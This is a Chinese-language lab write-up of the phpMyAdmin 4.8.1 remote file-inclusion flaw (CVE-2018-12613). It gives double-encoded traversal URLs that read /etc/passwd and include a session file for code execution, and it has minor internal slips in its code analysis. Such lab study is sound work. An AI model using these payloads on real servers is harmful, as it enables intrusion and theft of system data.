phpMyAdmin是一套開源的、基于Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。
參考文檔:
漏洞原理
一個攻擊者可以在服務器上包含(查看和潛在執行)文件的漏洞被發現。該漏洞來自一部分代碼,其中頁面在phpMyAdmin中被重定向和加載,以及對白名單頁面進行不正確的測試。攻擊者必須經過身份驗證,但在這些情況下除外:
$ cfg ['AllowArbitraryServer'] = true:攻擊者可以指定他/她已經控制的任何主機,并在phpMyAdmin上執行任意代碼
$ cfg ['ServerDefault'] = 0:這會繞過登錄并在沒有任何身份驗證的情況下運行易受攻擊的代碼
漏洞形成的原因
/index.php//line 55-63
if區間一共有五個判斷:
1、是否存在target參數
2、target參數是否為字符串
3、值不能以index開頭值不能出現在$target_blacklist內
4、Core類的checkPageValidity方法判斷
如果通過判斷則包含參數所指定的文件。
前幾個判斷可以忽略,重要的是后面兩個判斷,先看第一個
/index.php
$target_blacklist中的數組為import.php 和 export.php,只要target的值不是這兩個就可以
我們看下一個判斷
首先找到Core類的checkPageValidity函數:
checkPageValidity函數里又是五個判斷:
1、$whitelist為空則引用靜態聲明的$goto_whitelist
2、如果$page沒有被定義過或者$page不為字符串則return false
3、$page存在$whitelist中的某個值則返回true
4、$_page存在$whitelist中的某個值則返回true
5、經過urldecode函數解碼后的$_page存在$whitelist中的某個值則返回true
我們來逐行分析:
首先index.php調用checkPageValidity參數時并沒有傳第二個參數所以會進入此參數的第一個if區間,我們來看一下$goto_whilelist
$goto_whilelist定義了些可以被包含的文件名(省略了一部分)第二個if直接跳過我們來看第三個if區間,如果$page如果等于$goto_whilelist的某個值則return真。phpmyadmin的開發團隊考慮的很全面,想到了會存在target的值后面再跟參數的情況,于是有了第三個判斷:
$_page為 以?分割然后取出前面的字符串再判斷值是否存在與$goto_whilelist某個數組中。
這個判斷的作用是,如果target值帶有參數的情況下,phpmyadmin也能正確的包含文件。
也正是因為phpmyadmin團隊考慮的太全面了,才會出現此漏洞......
后面又將$page參數用urlencode解碼再進行以?分割取出前面的值做判斷。那么傳入target=db_sql.php%253f/../../test.txttxt內容為<?php phpinfo();?>//%253f是?號的二此url編碼urlcode將$page解碼后是db_sql.php?/../../test.php 再以?分割取出來前面的字符串為index.php,$whitelist中有index.php所以會進入最后一個if區間return true
漏洞利用
漏洞環境:
0x01 源碼下載地址
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
0x02 首先進入到CVE-2018-12613目錄
cd /home/phpmyadmin/CVE-2018-12613/
0x03 接著執行如下命令,啟動phpmyadmin 4.8.1
docker-compose up -d
環境啟動后,訪問http://your-ip:12613,即可進入phpmyadmin。配置的是“config”模式,所以無需輸入密碼,直接登錄test賬戶。
訪問http://your-ip:12613/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可見/etc/passwd被讀取,說明文件包含漏洞存在:
利用方式也比較簡單,可以先執行一下SELECT '<?php phpinfo()?>';,執行成功之后
然后查看自己的sessionid(cookie中phpMyAdmin的值)
然后訪問http://192.168.10.115:12613/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 34340c2ca491f432a79710ca55f6a81c包含session文件即可